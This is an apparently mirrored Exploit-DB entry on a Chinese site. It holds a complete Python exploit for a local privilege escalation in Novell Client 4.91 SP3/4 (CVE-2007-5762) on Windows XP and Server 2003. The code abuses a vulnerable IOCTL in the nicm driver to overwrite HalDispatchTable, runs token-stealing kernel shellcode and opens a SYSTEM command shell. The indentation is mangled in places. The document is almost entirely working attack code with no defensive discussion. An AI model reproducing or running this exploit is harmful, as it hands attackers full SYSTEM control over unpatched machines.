Novell Client 4.91 SP4 – Local Privilege Escalation - 体验盒子

作者： sickness
日期： 2012-05-22
类别：
local
平台：
windows
来源：https://www.exploit-db.com/exploits/18914/
# Novell Client 4.91 SP3/4 Privilege escalation exploit 
# Download link: http://download.novell.com/Download?buildid=SyZ1G2ti7wU~
#
# SecurityFocus: https://www.securityfocus.com/bid/27209/info
# CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5762
# Patch: http://download.novell.com/Download?buildid=4FmI89wOmg4~
# 
# Author: sickness@offensive-security.com
# Version Tested: Novell Client 4.91 SP4
# Targets: Exploit works on all service packs of Win2K3 and WinXP (except Windows XP SP1)
# Thanks: 
#		- g0tmi1k for helping me test out the exploit on as many versions of Windows as possible.
#		- ryujin for the help while developing the exploit.

from ctypes import *
import sys,struct,os
from optparse import OptionParser

kernel32 = windll.kernel32
ntdll= windll.ntdll
Psapi= windll.Psapi

def GetBase(drvname=None):
EVIL_ARRAY= 1024
myarray = c_ulong * EVIL_ARRAY 
lpImageBase = myarray() 
cb= c_int(1024) 
lpcbNeeded= c_long() 
drivername_size = c_long() 
drivername_size.value = 48
Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) 
for baseaddr in lpImageBase: 
drivername = c_char_p("\x00"*drivername_size.value) 
if baseaddr: 
Psapi.GetDeviceDriverBaseNameA(baseaddr, drivername, 
drivername_size.value)
if drvname:
if drivername.value.lower() == drvname:
print "[>] Retrieving %s information." % drvname
print "[>] %s base address: %s" % (drvname, hex(baseaddr))
return baseaddr
else:
if drivername.value.lower().find("krnl") !=-1:
print "[>] Retrieving Kernel information."
print "[>] Kernel version: ", drivername.value
print "[>] Kernel base address: %s" % hex(baseaddr) 
return (baseaddr, drivername.value)
return None

if __name__ == '__main__':

	usage ="%prog -o <target>"
parser = OptionParser(usage=usage)
parser.add_option("-o", type="string",
action="store", dest="target_os",
help="Available target operating systems: XP, 2K3")
(options, args) = parser.parse_args()
OS = options.target_os
if not OS or OS.upper() not in ['XP','2K3']:
 parser.print_help()
 sys.exit()
OS = OS.upper()
	
	GENERIC_READ = 0x80000000
	GENERIC_WRITE = 0x40000000
	OPEN_EXISTING = 0x3
	DEVICE = '\\\\.\\nicm'
	
	device_handler = kernel32.CreateFileA(DEVICE, GENERIC_READ|GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
	
	(krnlbase, kernelver) = GetBase()
	hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
	HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
	HalDispatchTable -= hKernel
	HalDispatchTable += krnlbase
	HalBase = GetBase("hal.dll")
	print "[>] HalDispatchTable address:", hex(HalDispatchTable)
	HalDispatchTable0x4 = HalDispatchTable + 0x4
	HalDispatchTable0x8 = HalDispatchTable0x4 + 0x4
	HalDispatchTable_0x14 = HalDispatchTable0x4 - 0x10

	if OS == "2K3":
HaliQuerySystemInformation = HalBase + 0x1fa1e # Offset for 2003
HalpSetSystemInformation = HalBase + 0x21c60 # Offset for 2003

else:
HaliQuerySystemInformation = HalBase + 0x16bba # Offset for XP
HalpSetSystemInformation = HalBase + 0x19436# Offset for XP

print "[>] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation)
print "[>] HalpSetSystemInformation address:", hex(HalpSetSystemInformation)
	
	EVIL_IOCTL = 0x00143B6B # Vulnerable IOCTL
	retn = c_ulong()
	inut_buffer = HalDispatchTable0x4 - 0x10 + 0x3 # Make the pwnsauce overwrite
	inut_size = 0x0
	output_buffer = 0x41414141 # Junk
	output_size = 0x0

# Get offsets
if OS == "2K3":
_KPROCESS = "\x38" # Offset for 2003
_TOKEN= "\xd8" # Offset for 2003
_UPID = "\x94" # Offset for 2003
_APLINKS= "\x98" # Offset for 2003

else:
_KPROCESS = "\x44" # Offset for XP
_TOKEN= "\xc8" # Offset for XP
_UPID = "\x84" # Offset for XP
_APLINKS= "\x88" # Offset for XP

# Restore the pointer
pointer_restore = "\x31\xc0" + \
 "\xb8" + struct.pack("L", HalpSetSystemInformation) + \
 "\xa3" + struct.pack("L", HalDispatchTable0x8) + \
 "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
 "\xa3" + struct.pack("L", HalDispatchTable0x4)

# Make the evil token stealing
steal_token ="\x52" +\
 "\x53" +\
 "\x33\xc0" +\
 "\x64\x8b\x80\x24\x01\x00\x00" +\
 "\x8b\x40" + _KPROCESS +\
 "\x8b\xc8" +\
 "\x8b\x98" + _TOKEN + "\x00\x00\x00" +\
 "\x89\x1d\x00\x09\x02\x00" +\
 "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
 "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
 "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
 "\x75\xe8" +\
 "\x8b\x90" + _TOKEN + "\x00\x00\x00" +\
 "\x8b\xc1" +\
 "\x89\x90" + _TOKEN + "\x00\x00\x00" +\
 "\x5b" +\
 "\x5a" +\
 "\xc2\x10"

# Build the shellcode
sc = "\x90" * 100
sc+= pointer_restore + steal_token
sc+= "\x90" * 100
	
	if OS == "2K3":
		baseadd= c_int(0x02a6ba10)
		
	else:
		baseadd= c_int(0x026e7bb0)
		
	MEMRES = (0x1000 | 0x2000)
	PAGEEXE= 0x00000040
	Zero_Bits = c_int(0)
	RegionSize = c_int(0x1000)
	write= c_int(0)

	dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE)
	
	if OS == "2K3":
		kernel32.WriteProcessMemory(-1, 0x02a6ba10, sc, 0x1000, byref(write))
	
	else: 
		kernel32.WriteProcessMemory(-1, 0x026e7bb0, sc, 0x1000, byref(write))
		
	if device_handler:
		print "[>] Sending IOCTL to the driver."
		dev_io = kernel32.DeviceIoControl(device_handler, EVIL_IOCTL, inut_buffer, inut_size, output_buffer, output_size, byref(retn), None) 
	
	evil_in= c_ulong()
	evil_out= c_ulong()
	evil_in= 0x1337
	hola = ntdll.NtQueryIntervalProfile(evil_in, byref(evil_out))
	print "[>] Launching shell as SYSTEM."
	os.system("cmd.exe /K cd c:\\windows\\system32")